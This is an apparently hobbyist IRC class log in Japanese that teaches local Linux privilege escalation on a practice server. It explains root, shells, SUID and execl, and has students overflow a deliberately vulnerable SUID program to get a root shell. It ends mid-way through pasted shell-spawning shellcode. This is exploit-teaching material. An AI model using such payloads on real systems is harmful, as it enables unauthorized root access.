20:57 [Defolos] こんにちは 20:57 [Pude2k] こんばんは 20:57 [IPUSIRON] こんばんは 20:57 [wahiko] こんばんは 20:57 [minke] こんばんはー。 20:57 [Defolos] ぎりぎりになってしまって申し訳ありません 20:57 [be-be-] こんばんは 20:58 [Defolos] 資料は先ほどあかでめいあアップローダにアップしました 20:58 [Defolos] http://security2600.sakura.ne.jp/up/img/559.zip 20:58 [Defolos] よりダウンロードください 21:00 [minke] OKです。 21:00 [wahiko] 落としました 21:00 [IPUSIRON] DLして中意味読んでます 21:00 [IPUSIRON] 今読んでます 21:00 [Defolos] さて、21時になりましたが皆さん大丈夫でしょうか? 21:01 [IPUSIRON] もう鯖にもログインしていいんですか? 21:01 [wahiko] 私の今使っているPCは不安定かもしれません 21:02 [Defolos] サーバへの接続お願いします 21:02 [wahiko] もし落ちたら気にせず講座を進めてください 21:02 [Defolos] 了解しました 21:03 [Defolos] sshサーバへの接続は出来ましたでしょうか 21:03 [minke] 今回からの参加なのですが、アカウントはもう用意されているのでしょうか? 21:03 [Defolos] 先日作成しておきました 21:03 [Defolos] パスワードはこれからwisでお伝えします 21:03 [be-be-] 自分もなのですが… 21:04 [IPUSIRON] すいません。パスワード忘れてました…。wisで宜しくお願いします 21:04 [Defolos] ipusironさんはご自分でパスワード変更されてましたか? 21:04 [be-be-] kazuiでSNSで登録していましたので少しニックネームが違いました 21:04 [Defolos] あ、わかりました>bebeさん 21:05 [IPUSIRON] パスワードちょっと探しますので、先進んでください 21:05 [Defolos] 了解しました 21:05 [Defolos] それでは進めますね 21:06 [Defolos] まず、配付資料の中のexploiting-01.htmlwo 21:06 [Defolos] をお開きください 21:06 [be-be-] すいません、sshのサーバってどこでしたっけ? 21:06 [Defolos] あ、お伝えしていませんでしたね 21:06 [Defolos] glazheim.mydns.jp だったと思います・・・ 21:07 [IPUSIRON] ログインしました 21:07 [wahiko] loginしました 21:07 [Defolos] 了解です 21:07 [minke] loginできてます 21:08 [Defolos] えー、資料の方ですが、いきなり開始日時を間違えていますが 21:08 [Defolos] 気にせずに先に進みましょう^^; 21:08 [Defolos] 今日やる内容は目次にもあがっているように 21:08 [Defolos] ハッキングに関する基礎的な内容です 21:09 [Defolos] 前回の予告ではレジスタについて説明すると宣言しましたが、内容がこんがらがりそうなので 21:09 [Defolos] これについては違う回で行います 21:09 [Defolos] それではハッキングの目的に移ります 21:10 [Defolos] ハッキングとはいろいろな意味を持つ言葉ですが 21:10 [Defolos] ここではサーバなどのコンピュータに侵入する行為をハッキングとよびます 21:11 [Defolos] 侵入というのは映画なんかでもよく耳にする言葉ですが 21:11 [Defolos] 実際は侵入とはコンピュータの制御権を不正に取得することです 21:12 [Defolos] 権限を取得するための手法のひとつがexploigingと呼ばれるテクニックです 21:12 [Defolos] exploitingは英語そのままの意味では「搾取」という意味なのですが 21:12 [Defolos] 権限を搾り取るというようにイメージしてもらえれば良いかと思います 21:13 [Defolos] この実習ではexploitingの手法について体験する事を目的としていますので、exploitingについて見ていく事にしましょう 21:14 [Defolos] exploitingには主にユーザアカウントをシステム内に持っている状態から権限を奪うローカルexploitingと 21:15 [Defolos] 何らかの入力を待ち受けるサーバを足がかりにして権限を奪うリモートexploitingの2種類があります 21:15 [Defolos] しばらくの間はローカルexploitingを主として実習します 21:15 [Defolos] ここまでで質問はありますでしょうか? 21:16 [Defolos] ないようでしたら次に移りますね 21:16 [Defolos] 上記で権限という言葉が出てきましたが 21:17 [Defolos] それでは私たちが攻撃対象としているlinuxでは権限がどのように扱われているかを説明します 21:17 [Defolos] linuxの場合は2つの異なる権限があります 21:17 [Defolos] ひとつは一般ユーザ権限と呼ばれる、何らかの制限を設けられた権限です 21:18 [Defolos] 例えば、ユーザを追加したり削除したりと言ったシステムの運営に大きく関与することは出来ないようになっています 21:18 [Defolos] もうひとつはroot権限と呼ばれる、ありとあらゆる作業を行える権限です 21:19 [Defolos] これはユーザの消去やシステムのシャットダウンなど、何でも出来るコンピュータ上の神のような権限です 21:19 [Defolos] ハッキングでは主に、root権限をいただくことを目的としています 21:19 [Defolos] もちろん例外もあって 21:20 [Defolos] リモートから直接root権限が奪えない場合は、一度リモートで一般権限をいただいた後に 21:20 [Defolos] ローカルexploitingでroot権限を奪うというようなこともあります 21:21 [Defolos] 次に、root権限の特権的な力の実例を挙げてみます 21:21 [Defolos] ユーザの削除ですが、 21:22 [Defolos] 資料のように一般ユーザ権限ではpasswdファイルを書き換える権限がないというように怒られ、削除できません 21:22 [Defolos] root権限であればエラーも出ずにユーザを消す事が出来ます 21:23 [Defolos] それで、この権限というのは何らかのインタフェースを介さなければ試行できませんね 21:23 [Defolos] 私たちも投票権という権限を持っていますが 21:23 [Defolos] 投票場というインタフェースが用意されていなければ権限を試行する事はできません 21:24 [Defolos] これと同じで、linuxの権限も何らかのインタフェースを介して権限を試行するようになっています 21:24 [Defolos] そのインタフェースの役割を果たしてくれるのが次に説明するシェルです 21:24 [Defolos] ここまで大丈夫でしょうか 21:25 [IPUSIRON] 確認なんですが、 21:25 [Defolos] はい 21:25 [IPUSIRON] ハッキングを行うアタッカーがルート権限を奪う目的とは何ですか? 21:25 [IPUSIRON] 何でもできるというのはわかりますが、具体例でいうと 21:25 [Defolos] ルートを奪うと前述のようにありとあらゆる権限を持つ事が出来ますので 21:26 *AquO join (AquO!^aquo@101CTKP.ctktv.ne.jp) 21:26 [Defolos] 例えばwebサーバであればサーバ内に保存されているhtmlファイルを書き換える事ができたり 21:26 [IPUSIRON] こんばんは 21:26 [IPUSIRON] はい 21:26 [Pude2k] こんばんは 21:26 [Defolos] こんばんは 21:26 [be-be-] こんばんは 21:26 [wahiko] こんばんは 21:26 [Defolos] あるいはサーバを勝手にたててwarezサーバにしてしまうことも可能になりますね 21:26 [IPUSIRON] 自分が思ったのは、ルート権限がなければ実行できないソフトを使いたいのかなとも思ったのですが 21:27 [IPUSIRON] 例えばsnifferとかだとルート権限必要だったりしますよね 21:27 [Defolos] 確かに権限が必要なソフトを使う、というのも目的のひとつだと思いますが 21:27 [Defolos] ルート権限が無ければ書き換えられないファイルを書き換えるというのも目的のひとつだと思います 21:28 [IPUSIRON] はい 21:28 [Defolos] 例えばログファイルは一般ユーザが書き換えるのは難しですね 21:28 *AquO quit ("Leaving...") 21:28 [IPUSIRON] ハッカー魂ならば、目的が仮になくても最高の権限を奪うというのが一番かっこいいかもしれませんけどね(笑) 21:28 [Defolos] それも確かに言えますね^^; 21:28 [wahiko] COOLですね 21:29 [IPUSIRON] ログの話で納得しました。ありがとうございます。 21:29 [Defolos] いえいえ 21:29 [wahiko] 質問です 21:29 [Defolos] ただ、この実習では「どのようにするか」に重点を置いていますので 21:29 [Defolos] あ、はい 21:29 [wahiko] rootがないSELinuxはLinuxと呼べるのですか 21:30 [Defolos] SElinuxについてはほとんど知識がないのですが 21:30 *aquo join (aquo!^aquo@101CTKP.ctktv.ne.jp) 21:30 [Defolos] SElinuxはひとつの独立したOSなのですか? 21:31 [wahiko] 使ったことがないので詳しくは分かりません 21:31 [Defolos] むしろモジュールにちかいので 21:32 [Defolos] どちらかといえばlinux上で動作するソフトウェアという位置づけではないでしょうか 21:32 [minke] Linux ではないですが、Mac OS X も root は基本的に無いですね。 21:32 [wahiko] はい、拡張モジュールですね 21:32 [minke] root権限が必要なところはsudoで行うことになってます。 21:33 [Defolos] あ、なるほど 21:33 [Defolos] 一時的にルート権限を寄与する仕組みになっているのですね 21:33 [minke] ですね。 21:34 [Defolos] それでもlinuxと言えることは言えそうですが、ここで紹介する方法では権限奪取ができないと思います 21:35 [Defolos] あまりこのあたりの知識は無いのであやふやで申し訳ないです 21:36 [Defolos] えと、次に進んでも大丈夫でしょうか? 21:36 [minke] どうぞー。 21:37 [Defolos] では次のシェルについて説明しますね 21:37 *aquo quit (Ping timeout) 21:37 [Defolos] シェルは先ほど言ったように、権限を試行するためのインタフェースです 21:37 *aquo join (aquo!^aquo@101CTKP.ctktv.ne.jp) 21:37 [Defolos] 人と機械は直接対話する事が困難なので 21:38 [Defolos] 資料の図のように機械の中核(カーネル)と人との間に入って命令の変換を行ってくれるのがシェルです 21:38 [Defolos] カーネルを貝殻のように囲むことからシェルという名前が付けられました 21:39 *aquo quit ("Leaving...") 21:39 [Defolos] シェルは人基準の命令、例えば英語をもじった ls -al といった人にわかりやすい命令を 21:39 [Defolos] 二進数の機械にしかわからない命令に変換して伝えてくれます 21:40 [Defolos] 逆に機械から帰ってきた結果を人にわかりやすいように英数字で表示する役割を持ちます 21:40 [Defolos] つまり、シェルは命令をやりとりするインタフェースと言い換える事が出来ます 21:41 [Defolos] これはパソコンを操作するためのハンドルのようなもので 21:42 [Defolos] ハンドルを奪えれば、自分の意のままに車を動かす事が出来ますね 21:42 [Defolos] 同じようにシェルを使う事が出来れば自分の意のままの命令をコンピュータに行わせる事が出来ます 21:42 [Defolos] それで、シェルはシステムによっていろいろな型式を取っています 21:43 [Defolos] 例えばwindowsであればグラフィカルシェルといって、ウィンドウが開いてアイコンがあって・・・という 21:43 [Defolos] よく見慣れたデスクトップの画面がシェルに当たります 21:43 [Defolos] 資料の図1に例を乗せています 21:44 [Defolos] 一方、linuxの場合は文字だけで操作を行うコマンドラインシェルを採用しています 21:45 [Defolos] 私たちがsshへの接続で利用しているPuTTYも仮想的なシェルだと言えますね 21:45 [Defolos] さて、それでは例題としてシェルを実際に起動してみましょう 21:45 [Defolos] もうすでにPuTTYがシェルの役割を果たしてくれているのですが 21:46 [Defolos] linuxに用意されているシェルはいろいろな種類がありますので、幾つか起動してみましょう 21:46 [Defolos] シェルは/binの中に幾つか保存されています 21:46 [Defolos] では一度、/binにカレントディレクトリを移してください 21:47 [Defolos] その状態でlsとしてもらえれば、たくさんファイルがあるのが判ると思います。 21:47 *aquo join (aquo!^aquo@101CTKP.ctktv.ne.jp) 21:48 [wahiko] はい 21:48 [Defolos] どれでも良いのですが、とりあえずshを起動してみてください 21:48 [Defolos] 21:48 [Defolos] sh-2.05b$ 21:49 [Defolos] そうするとプロンプトが上記のようになったと思います 21:49 [Defolos] シェルを終了するときはexitと打ってもらえれば終了します 21:50 [IPUSIRON] /bin内においてlsで見えるものすべてがシェルという意味ですか? それともcshとかshなどのように「sh」が付いたやつだけですか? 21:50 [Defolos] 全てがシェルというわけではありません 21:50 [IPUSIRON] ですよね 21:50 [IPUSIRON] 了解しました 21:50 [Defolos] csh,bash等だけです 21:50 [Defolos] 次に同じようにcshを起動してみてください 21:50 [Defolos] defolos@glazheim:/bin$ ./csh 21:50 [Defolos] glazheim:/bin> 21:51 [Defolos] のように、shのときとも違う見た目になりましたね 21:51 [Defolos] これらの違いはウィンドウズのテーマの違いのようなもので 21:52 [Defolos] 基本的な機能としてはある程度の優劣の差はあるにしてもほとんど違いません 21:52 [Defolos] 私たちが普段使っているのは、よく普及しているbashと呼ばれるシェルです 21:52 *aquo quit (Ping timeout) 21:52 [be-be-] ウインドウズのテーマの違いっていう表現が少しわかりにくいのですが 21:53 [be-be-] 教えていただけるとありがたいです 21:53 [IPUSIRON] ls | grep shを実行すると6つあるぽいですね<シェル 21:53 [Defolos] あ、テーマというのはちょっとわかりにくい表現でしたね 21:53 [Defolos] むしろデスクトップの背景の違いのようなものだととらえてもらって良いかと思います 21:53 *aquo join (aquo!^aquo@101CTKP.ctktv.ne.jp) 21:53 *aquo quit (Connection reset by peer) 21:53 [be-be-] なるほどわかりましたw 21:54 [Defolos] 味気ない画面をましにするという機能の大元はどんな画像でも代わりありませんよね 21:54 [Defolos] ただ、その効果が画像によってまちまちなのと同じだとお考えください 21:54 [wahiko] はい 21:55 [Defolos] それで、bashは先ほど起動してもらったshから進化したもので 21:55 [Defolos] shが最も基礎となるシェルですので多くのシステムで予め用意されています 21:56 [Defolos] シェルコードでよくshが使われる理由はここです 21:56 [Defolos] では一度bashに戻ってください 21:57 [Defolos] シェルを起動してもらいましたが、新たに起動したシェルは起動する基になったシェルの権限を引き継ぎますので 21:57 [Defolos] 一般ユーザが新たに起動したシェルはやはり一般ユーザ権限しか持たず、rootが起動したシェルは基本的にroot権限を持って起動します 21:58 [Defolos] ここまではOKでしょうか 21:58 [wahiko] はい 21:58 [Defolos] これまでの流れを整理すると、 21:59 [Defolos] ハッキングの目的は侵入であって、侵入とは権限を取得する事である 21:59 [Defolos] 権限とはつまりインタフェースであって、インタフェースはシェルとして実装されている 21:59 [Defolos] という流れです 22:00 [Defolos] では次に、プログラムの中からシェルを起動する事が出来るのかどうか実験します 22:01 [Defolos] どうしてプログラムの中からシェルが起動できると嬉しいかと言いますと 22:02 [Defolos] 後述しますsuid付きのプログラムが関係する事になります 22:02 [Defolos] ここではまず、それが可能なのかどうかを実際にプログラミングする事で確認してみましょう 22:02 [Defolos] 結論から言いますと、可能なのですが 22:03 [Defolos] 実現にはexecl関数を利用します 22:03 [Defolos] execl関数は第一引数が起動したいプログラムへのパス、第二引数以降がそのプログラムへの引数として渡したい値です 22:04 [Defolos] それではプログラミングしてみましょう 22:04 [Defolos] ご質問はありますか? 22:05 [be-be-] system関数などではだめなのでしょうか? 22:05 [Defolos] あ、実現方法はどのような関数を用いてもらってkも結構です 22:05 [Defolos] ここでは例としてexeclを挙げているだけですので 22:06 *aquo join (aquo!^aquo@101CTKP.ctktv.ne.jp) 22:07 [be-be-] なるほど 22:07 *aquo quit ("Leaving...") 22:08 [Defolos] 皆さん書けましたでしょうか? 22:09 [wahiko] viで書くのですか? 22:09 [Defolos] はい、viやvimなどでお願いします 22:10 [Defolos] ヒントとしては、shの引数にはプログラムの名前と0,0が入ります 22:11 [Defolos] 起動するシェルはshでもcshでもなんでも結構です 22:11 [minke] 書けました。 exec 系は引数の与えかたがややこしいですね。 22:11 [Defolos] そうですねぇ 22:11 [Defolos] どのようなコードになりました? 22:12 [Pude2k] すいません、質問ですが、0,0なのですか? 22:12 [minke] #include 22:12 [minke] #include 22:12 [minke] int main() { 22:12 [minke] execl("/bin/csh", "csh", NULL); 22:12 [minke] return 0; 22:12 [minke] } 22:12 [Defolos] あ、はい 22:12 [minke] こんな感じで。 22:13 [Defolos] なるほど>minkeさん 22:13 [Pude2k] なぜ引数で0,0なのですか? 22:13 [Defolos] あ、0がひとつ多かったです 22:14 [minke] とりあえず、最後は NULL じゃなきゃいけないようです。 22:14 [Defolos] 引数には0、つまりNULLを与えれば良い ということです 22:14 [wahiko] ファイルはどこに保存したらいいですか 22:14 [minke] 引数の個数が決まってないためですね。 22:14 [Defolos] ファイルはご自分のホームディレクトリにお願いします 22:15 [Defolos] たぶん0はいくつ与えても無意味なのでしょうね・・・ 22:16 [Defolos] 皆さん書けました? 22:16 [be-be-] はい、書けましたよ 22:16 [Defolos] ではこのあたりで一度回答例を示しますね 22:17 [Defolos] #include 22:17 [Defolos] #include 22:17 [Defolos] 22:17 [Defolos] int main(int argc, char *argv[]){ 22:17 [Defolos] printf("start shell\n"); 22:17 [Defolos] execl("/bin/sh", "sh", 0); 22:17 [Defolos] printf("stop shell\n"); 22:17 [Defolos] 22:17 [Defolos] return 0; 22:17 [Defolos] } 22:17 [Defolos] これは私が書いてみたソースです 22:17 [Defolos] これを実行しますと、 22:18 [Defolos] 22:18 [Defolos] defolos@glazheim:~$ ./execltest.exe 22:18 [Defolos] start shell 22:18 [Defolos] sh-2.05b$ exit 22:18 [Defolos] exit 22:18 [Defolos] このようになります 22:18 [Defolos] はじめにprintfでstart shellという命令が実行されます 22:18 [Defolos] その後にexecl関数でshを呼び出します 22:19 [Defolos] これでshが起動しますので、shをexitで終了させます 22:19 [Defolos] するとexeclの後ろにかかれたprintfが実行されて、stop shellとう一文が表示されます 22:20 [Defolos] このようにexeclでは関数呼び出しのように他のプログラムを呼び出し、そのプログラムが終了すればまた元の位置に戻ってくるという挙動を見せます 22:21 [Defolos] さて、ここまででプログラムの中からシェルを呼び出す事ができるとわかりました 22:21 [Defolos] 次はなぜこれが有益なのかを説明します 22:21 [Defolos] ここまででご質問はありませんか? 22:21 [wahiko] 保存は コマンドモードでwqでしたよね 22:21 [Defolos] はい 22:22 [wahiko] escを押して入力してもも下にwqが出てきません 22:22 [Defolos] esc投下後、:wqです 22:23 [wahiko] できました、ごめんなさい 22:24 [Defolos] いえいえ 22:24 [Defolos] では、有用性を説明したいと思います 22:25 [Defolos] linuxにはSUIDという仕組みが用意されています 22:25 [Defolos] このSUIDがプログラム内からシェルを呼びだせることの有用性につながる鍵です 22:26 [Defolos] SUIDというのは、プログラムの起動時に誰が起動したかにかかわらず、その所有者の権限を持って実行する仕組みです 22:26 [Defolos] 例えば、パスワードの変更を行うときの事を考えてみてください 22:26 [Defolos] パスワードファイルはユーザが勝手に書き換えられるようでは困りますね 22:27 [Defolos] 嫌いな上司のパスワードを勝手に書き換えて、困る上司を嘲笑うようないたずらに使われかねません 22:27 [Defolos] そこで、パスワードファイルはrootしか書き換えられないようになっています 22:28 [Defolos] しかし、パスワードは1ヶ月に1度は変えなければなりません 22:28 [Defolos] その都度rootに変えてもらうようにしていては、パスワード変更作業だけでrootの一日がつぶれてしまいますので 22:29 [Defolos] ユーザが勝手に変更できるようにしたいですね 22:29 [Defolos] このときに効力を発揮するのがSUIDです 22:30 [Defolos] 起動時に一時的にroot権限を貸し出すことで、パスワードを変更するユーザを限定しておきながらパスワードファイルを書き換える事が可能になります 22:30 [Defolos] それでは、ここでSUIDを確認してみましょう 22:31 [Defolos] SUIDはlsの詳細表示オプションで表示できます 22:32 [Defolos] 一度SAS_Workspaceに移動してください 22:33 [Defolos] このディレクトリをlsで表示してみてください 22:33 [Defolos] glazheim:/home/SAS_Workspace# ls -al 22:33 [Defolos] 合計 28 22:33 [Defolos] drwxrwxr-x 2 root SAS 4096 2007-07-29 07:24 . 22:33 [Defolos] drwxrwsr-x 14 root staff 4096 2007-07-28 09:40 .. 22:33 [Defolos] -rw-r--r-- 1 root root 246 2007-07-29 07:24 bo-test.c 22:33 [Defolos] -rwsr-sr-x 1 root root 11523 2007-07-28 09:47 hello.exe 22:33 [Defolos] -rw-r--r-- 1 root root 96 2007-07-28 09:46 test.c 22:33 [wahiko] はい 22:33 [Defolos] のような表示が出たと思います 22:34 [Defolos] この中で、hello.exeに着目してください 22:34 [wahiko] goukeitoiunoha 22:34 [wahiko] 合計というのは? 22:34 [Defolos] 合計はディレクトリに含まれるファイルのサイズです 22:34 [wahiko] はい 22:34 [Defolos] ただ、計算方法がまちまちなのであまり気にしないでください 22:35 [Defolos] hello.exeの左の部分、 -rwsr-sr-xとありますね 22:35 [Defolos] このファイルは他のファイルと違っていて、他のファイルがxのところにsという記号が付いています 22:36 [Defolos] これはつまりhello.exeにsuidが設定されている事を意味します 22:37 [Defolos] この場合ですと、hello.exeを起動すれば、誰が起動したかにかかわらず所有者、つまりrootの権限が貸し出されて実行されます 22:38 [Defolos] SUIDは使い方によっては非常に危険な設定ですので、最近ではあまり使われる事が無いのです 22:38 [Defolos] なぜ危険かを次に説明します 22:39 [Defolos] この危険がプログラムからシェルを呼び出せる事と大きく関係してきます 22:39 [Defolos] 先ほど新たに起動されるシェルは起動する前のシェルの権限を引き継ぐと言いました 22:40 [Defolos] SUIDは誰が起動したかにかかわらず、所有者の権限で動作します 22:40 [Defolos] つまり、もしrootが所有するプログラムの流れを途中で変えられ、シェルが起動するプログラムを途中で実行されたら 22:41 [Defolos] 全ての権限をアタッカーに明け渡す事になります 22:41 [Defolos] 資料の図を参照ください 22:42 [Defolos] プログラムの本来の流れを変えられ、アタッカーが用意したシェルを起動するプログラムに実行の流れが変更されたとすれば 22:42 [Defolos] 命令のインタフェースをアタッカーに提供することになり、結果全ての権限をアタッカーが握る事になってしまいます 22:43 [Defolos] アタッカーの用意するプログラムのなかでシェルを起動するので、プログラム内からシェルを起動できる事がこの図式の鍵です 22:44 [Defolos] ハッキングではこのようなプログラムの流れを何らかの方法で変更してシェルを起動します 22:44 [Defolos] 流れを変える手法によってバッファオーバフローやフォーマットストリング攻撃と言った分類がなされます 22:45 [Defolos] ここまでは大丈夫でしょうか 22:45 [wahiko] はい 22:46 [Defolos] では次に移りますね 22:46 [Defolos] 次は実際にSUIDが設定されているプログラムからシェルを起動すると、権限がどうなるのかを確認します 22:47 [Defolos] 少々お待ちくださいね 22:48 [Defolos] お待たせしました 22:48 [Defolos] SASワークスペースに私が作成したsh起動プログラムを用意しました 22:49 [Defolos] これは所有者をrootに変更し、SUIDが設定されています 22:49 [Defolos] 一度これを実行してみてください 22:50 [Defolos] あれ? 22:50 [Defolos] うまくいきませんね^^; 22:50 [wahiko] 権限取れました 22:50 [Defolos] rootで起動してます? 22:50 [be-be-] 権限取れました 22:51 [minke] 一応聞いておきますが、権限取ってしまって構わないんですよね? 22:51 [Defolos] あ、重要なファイルとか消さないでくださいね 22:51 [Defolos] あ、成功してる 22:51 [Defolos] 改めまして 22:52 [Defolos] このように、SUIDが設定されており、なおかつ所有者がrootのプログラム内から起動されるシェルはroot権限を持って起動します 22:52 [Defolos] 後は、そのようなプログラムの流れをいかにして変更するかです 22:52 [Defolos] この変更手段をexploitingと言います 22:53 [Defolos] 正確にはシェルを起動するプログラムを用意することもexploitingと言いますが・・・ 22:53 [Defolos] とりあえず、rootシェルはexitで終了してください 22:54 [Defolos] では、次にexploitingで用いるexploitについて説明したいと思います 22:54 [be-be-] 質問なのですが 22:54 [Defolos] はい、どうぞ 22:55 [be-be-] 昔、Fedoraで行ったときに権限をとることができなかったのですが、何かOSでフィルターをかけているのでしょうか? 22:56 [Defolos] fedoraの場合はプログラムのロードの位置を毎回ランダムに変えているので 22:56 [Defolos] 単純なバッファオーバフローなどでは権限を奪取する事は出来ないと思います 22:56 [Defolos] また、 22:57 [Defolos] SUIDが設定されているプログラムでも、システムによっては新たにシェルを起動する時には権限を放棄するようにしているシステムもありますので 22:57 [Defolos] そのままのシェル起動プログラムではうまくいかない事もあると思います 22:58 [be-be-] ありがとうございましたw 22:58 [minke] これはfedoraだけでしょうか? > プログラムのロードの位置を毎回ランダムに変えている 22:58 [Defolos] knoppixも同じような仕組みを採用していると思います 22:59 [minke] なるほど。ありがとうございます。 22:59 [Defolos] これで答えになりましたでしょうか 22:59 [Defolos] では次に移りますね 22:59 [Defolos] exploitは2つの部分に大別できます 23:00 [Defolos] ひとつはベクター(挿入ベクター)と呼ばれる部分、もうひとつはペイロードと呼ばれる部分です 23:00 [Defolos] これらの用語は軍隊用語から転用された言葉です 23:01 [Defolos] 元の意味は、ベクターは物資を運ぶための手段のことです 23:01 [Defolos] 例えばトラックや飛行機などですね 23:02 [Defolos] ペイロードは輸送の目的となる中身の事です 23:02 [Defolos] 例えば食料、弾薬、敵の座標情報などです 23:02 [Defolos] 少し余談的になりますが 23:03 [Defolos] ロジスティックスというのは運送として知られていますが 23:03 [Defolos] これも元は軍隊用語で、物資を前衛に配送することをロジスティックスと言います 23:04 [Defolos] ベクターはコンピュータの壁となるセキュリティを打ち破ってペイロードを実行する役割を持ち、 23:05 [Defolos] ペイロードは侵入するシステム内で行いたいことを入れておきます 23:05 [Defolos] ベクターによってペイロードを運ぶことをexploitingと呼ぶと思ってもらえれば良いと思います 23:05 [Defolos] ペイロードについてですが 23:06 [Defolos] ペイロードはアセンブリ言語で作成するのが一般的です 23:06 [Defolos] ペイロードというのは機械語で記述しなければならないのですが、C言語で書いたものをコンパイルすると 23:07 [Defolos] サイズが大きくなりすぎて、ベクターで挿入できる分量を超えてしまう可能性があります 23:07 [Defolos] そのため、サイズを小さく抑える事の出来るアセンブリで記述するのが一般的です 23:08 [Defolos] 一方の挿入ベクターはC言語などの高級言語で記述することが可能です 23:08 [Defolos] これは先ほど言ったようなプログラムの流れを変更するためのプログラムです 23:09 [Defolos] 本来の流れを無理矢理変更し、私たちが用意するペイロードを実行するように本来の流れを変えます 23:10 [Defolos] ベクターの特性によって先ほど言ったようにバッファオーバフローやフォーマットストリング攻撃などの分類がなされます 23:10 [Defolos] ここまでは大丈夫でしょうか 23:10 [minke] 大丈夫です。 23:11 [IPUSIRON] ベクターの特性というのはどういう意味ですか? 23:11 [Defolos] はい 23:12 [Defolos] 例えばバッファオーバフローというセキュリティ上の欠陥を利用するなどの、何を足がかりにするかがベクターの特性です 23:13 [Defolos] これでわかりますでしょうか 23:13 [IPUSIRON] セキュリティの脆弱性のタイプによってベクターは色々変えられるということですか? 23:13 [Defolos] そうですね 23:13 [IPUSIRON] わかりました 23:13 [Defolos] 例えばバッファオーバフローの場合と 23:14 [Defolos] フォーマットストリング攻撃の場合ではベクターに根本的な違いが生まれますね 23:14 [wahiko] はい 23:14 [IPUSIRON] ペイロードは基本的に使いまわすようなイメージでしょうか? 23:14 [Defolos] そのような違いをまとめて特性という言葉でくくってしまったのがわかりにくかったのでしょうかねぇ 23:14 [Defolos] そうです 23:15 [IPUSIRON] そういう意味でならわかりました 23:15 [Defolos] ペイロードはシステムが同じであれば使い回します 23:15 [be-be-] 質問ですが、ベクターに挿入できる分量とは、プログラムが確保しているメモリーによるんでしょうか? 23:15 [Defolos] もちろん、linuxで使ったペイロードはwindowsでは書き直さないと動きませんが・・・ 23:16 [Defolos] プログラムが確保しているメモリ、つまり、バッファなのですが 23:16 [Defolos] バッファの分量はプログラムによって違いますよね 23:17 [Defolos] 例えば入力バッファに30バイトしか用意しないプログラムのあれば 23:17 [Defolos] 200バイト用意するプログラムもあります 23:17 [Defolos] この分量がベクターによって挿入できる量だと思ってもらえれば良いです 23:18 [Defolos] 現実のもので言いますと、 23:18 [wahiko] maloc関数で増やしたり減らしたりできますか? 23:18 [Defolos] あ、それば無理です^^; 23:18 [Defolos] ここでいうバッファは攻撃対象のバッファですので 23:18 [Defolos] 勝手に書き換える事はおそらく不可能です 23:19 [be-be-] そのバッファの量はコンパイラが決めているのでしょか、それともOSが決定しているのでしょうか? 23:19 [minke] コマンドライン引数や環境変数を使う場合はその容量も考慮するわけですよね。 23:19 [minke] あ、質問かぶってしまった--; 23:19 [Defolos] >bebeさん バッファの量はプログラマが決定します 23:20 [be-be-] あ、しまった… 23:20 [Defolos] このバッファというのはroot所有のSUIDプログラムの方のバッファですので 23:21 [Defolos] アタッカーが変更できるものではありませんね 23:21 [wahiko] 権限がないから侵入者は増減はできない、と 23:21 [Defolos] はい 23:21 [Defolos] ですから、出来るだけ小さいものを書いて 23:21 [Defolos] 入れ込めるスペースが小さくても対処できるようにします 23:22 [wahiko] それでアセンブラで書くのですね 23:22 [Defolos] はい 23:22 [Defolos] アセンブリだとCに比べて100分の一ぐらいに小さくできますからね 23:22 [Defolos] これで答えになってますでしょうか 23:22 [wahiko] ありがとうございます 23:23 [Defolos] >minkeさん たしにそうです 23:23 [Defolos] ただ、現段階では少し高度な話ですので 23:23 [Defolos] その話は後の回でご紹介したいと思います 23:24 [minke] わかりました^^ 23:24 [Defolos] 他に質問はありませんでしょうか 23:25 [Defolos] それでは次に、実際にexploitingを体験してもらいたいと思います 23:26 [Defolos] 資料の流れを変えるべきプログラムというのが、今回説明したroot所有SUIDプログラムという事になります 23:26 [Defolos] このプログラムはバッファオーバフローの問題を抱えたプログラムです 23:27 [Defolos] 具体的には、500バイトしかバッファを用意していないくせに引数として渡された文字列を何バイトでもバッファにコピーします 23:28 [Defolos] 細かい動作については後の回で述べる事になると思いますので、今回は体験してみることを主題にします 23:29 [Defolos] 次のペイロードですが、これは先ほど皆さんに作ってもらったシェルを起動するプログラムを機械語に翻訳しただけのものです 23:29 [Defolos] 最後の挿入ベクター生成プログラムなのですが 23:30 [Defolos] これは挿入ベクターを作って、流れを変えるべきプログラムを実行するプログラムです 23:30 [Defolos] 具体的には流れを変えるべきプログラムの引数となる文字列を生成する訳です 23:31 [Defolos] では実際にやってみましょう 23:31 [Defolos] SASワークスペースにbo-test.exeと言う名前で流れを変えるべきプログラムをコンパイルしておきました 23:32 [wahiko] 下の挿入ベクター生成プログラムを作ればいいのですね 23:32 [Defolos] そういう事です 23:32 [wahiko] はい、やってみなす 23:32 [wahiko] ます 23:32 [Defolos] ペイロードには資料で提示したものを使ってください 23:33 [Defolos] あ、保存はSASワークスペースで行ってもらっても結構ですが、ホームディレクトリで行ってもらえると嬉しいです 23:38 [Defolos] ホームディレクトリで作業するときはexeclの部分をexecl("/home/SAS_Workspace/bo-test.exe", "bo-test.exe", buffer, 0)に 23:38 [Defolos] 変更してくださいね 23:40 [Defolos] 皆さんできましたでしょうか? 23:41 [IPUSIRON] はい 23:41 [Defolos] 権限は奪えましたか? 23:42 *IPUSIRON sh-2.05b# whoami 23:42 *IPUSIRON root 23:42 [IPUSIRON] になりました 23:42 [Defolos] おめでとうございます 23:43 [Defolos] rootを取れましたね:-p 23:44 [be-be-] root取れましたよw 23:44 [Defolos] おめでとうございます 23:46 [Defolos] minkeさんとwahikoさんはできてますか? 23:46 [wahiko] ペイロードは手打ちで書かないといけませんか? 23:46 [Defolos] いえ 23:46 [Defolos] コピペしてください^^; 23:47 [minke] できましたー。 23:47 [Defolos] では権限を取ってみましょう:−p 23:50 [Defolos] 和彦さん大丈夫ですか? 23:51 [wahiko] コードで手間取っていますorz 23:51 [Defolos] ペイロードはそのままコピペしてもらったらいいので 23:52 [Defolos] ペーストするときはputtyの場合、右クリックで出来ますよ 23:55 [Defolos] だいぶん苦戦されているようなのですが、そろそろ回答例っぽいものを 23:55 [Defolos] 提示しますがよろしいでしょうか 23:56 [Defolos] #include 23:56 [Defolos] 23:56 [Defolos] char shellcode[]= 23:56 [Defolos] "\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" 23:56 [Defolos] "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" 23:56 [Defolos] 